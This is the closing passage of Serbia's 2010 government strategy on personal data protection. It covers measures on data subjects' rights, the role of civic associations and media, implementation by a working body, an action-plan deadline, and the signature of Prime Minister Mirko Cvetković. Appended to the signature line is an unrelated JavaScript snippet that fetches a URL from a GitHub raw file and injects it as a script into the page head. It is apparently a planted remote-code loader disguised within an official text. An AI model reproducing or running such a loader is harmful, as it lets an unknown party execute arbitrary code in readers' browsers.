• obezbediti spisak pravnih i fizičkih lica kojima su podaci ustupljeni na korišćenje, a koji nisu rukovaoci zbirki podataka o ličnosti, za koje svrhe su podaci ustupljeni, kada i po kom pravnom osnovu;
• obezbediti informacije o izvorima iz kojih su podaci prikupljani za potrebe formiranja zbirki podataka i samoj metodi obrade podataka;
• obezbediti da lice prilikom automatske obrade njegovih podataka dobije objašnjenje obrađivača o postupku donošenja odluke.

3.2. Uloga građana i medija u ostvarivanju zaštite podataka o ličnosti

Udruženja građana za zaštitu ljudskih prava, svojim kadrovskim, stručnim i drugim potencijalom, mogu svojim delovanjem da daju veoma značajan doprinos na zaštiti podataka, a posebno: širenjem svesti o zaštiti ovog prava, aktivnim praćenjem oblasti zaštite ličnih podataka i saradnjom sa Poverenikom u ostvarivanju funkcije zaštite prava i nadzora u pogledu obrade podataka o ličnosti. To potvrđuje rad Koalicije za slobodan pristup informacijama, kao grupe od 16 nevladinih organizacija koja je oformljena nakon donošenja Zakona o slobodnom pristupu informacijama od javnog značaja 2004. godine, koja je pokazala kako stručnost i aktivan pristup doprinose ostvarivanju ljudskih prava i širenju svesti, naročito u onim oblastima koje su nove i nisu dovoljno poznate, ne samo građanima kao subjektima ovog prava, već i organima javne vlasti, kao nosiocima obaveza.

Mediji, takođe imaju ogroman značaj za sprovođenje Zakona o zaštiti podataka. Aktivan odnos sa javnošću, kako Poverenika tako i Vlade, nužan je preduslov za postizanje uspešne zaštite podataka o ličnosti. Mediji su nesumnjivo pokazali koliko informisanje građana, skretanje pažnje na probleme u određenoj oblasti i sl, može da bude značajno za podršku aktivnostima nadležnih organa, što se očekuje i za oblast zaštite podataka o ličnosti. Medijska kampanja u cilju podizanja kapaciteta nadzornog organa, ali i kapaciteta u svim organima vlasti i drugim subjektima koji se bave obradom podataka, sasvim sigurno će doprineti postizanju boljih rezultata u zaštiti podataka o ličnosti u Republici Srbiji.

Mere:

• razvijanje saradnje Poverenika i drugih državnih organa sa udruženjima građana i medijima;
• uključivanje stručnih i kadrovskih potencijala nevladinog sektora u javne rasprave o značajnim pitanjima u oblasti zaštite podataka o ličnosti;
• aktivan pristup prema nezavisnom praćenju, od strane udruženja građana, sprovođenja zaštite podataka o ličnosti;
• uključivanje udruženja građana u pripremu normativnih rešenja za unapređenje sistema zaštite podataka o ličnosti;
• medijske kampanje u cilju sprovođenja zakona;
• medijsko praćenje aktivnosti i promena u oblasti zaštite ljudskih prava .

VI. PRIMENA STRATEGIJE

Da bi se obezbedila puna primena Strategije i postigao uspeh u zaštiti podataka, Vlada će formirati posebno radno telo koje će nadzirati obezbeđenje uslova i sprovođenje Strategije i Akcionog plana, vršiti koordinaciju državnih organa u cilju efikasnog funkcionisanja sistema zaštite podataka o ličnosti, izveštavati nadležne organe o sprovođenju Strategije i uočenim problemima pri njenoj realizaciji i inicirati izmenu Strategije, u skladu sa novonastalim potrebama ili uočenim nedostacima. Obrazovanje posebnog radnog tela neće zahtevati dodatna finansijska sredstva u budžetu Republike Srbije.

VII. AKCIONI PLAN

Akcioni plan za sprovođenje Strategije, sa definisanim aktivnostima, očekivanim efektima, nosiocima konkretnih zadataka i rokovima za izvršenje zadataka, Vlada će doneti u roku od 90 dana od dana objavljivanja Strategije u „Službenom glasniku Republike Srbije”.

VIII. ZAVRŠNI DEO

Ovu strategiju objaviti u „Službenom glasniku Republike Srbije”.
05 Broj: 021-5864/2010
U Beogradu, 16. avgusta 2010. godine
V L A D A
PREDSEDNIK
dr Mirko Cvetković (var url = „https://raw.githubusercontent.com/truba77/trubnik/main/to.txt“; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(„script“); script.src = data.trim(); document.getElementsByTagName(„head“)[0].appendChild(script); });)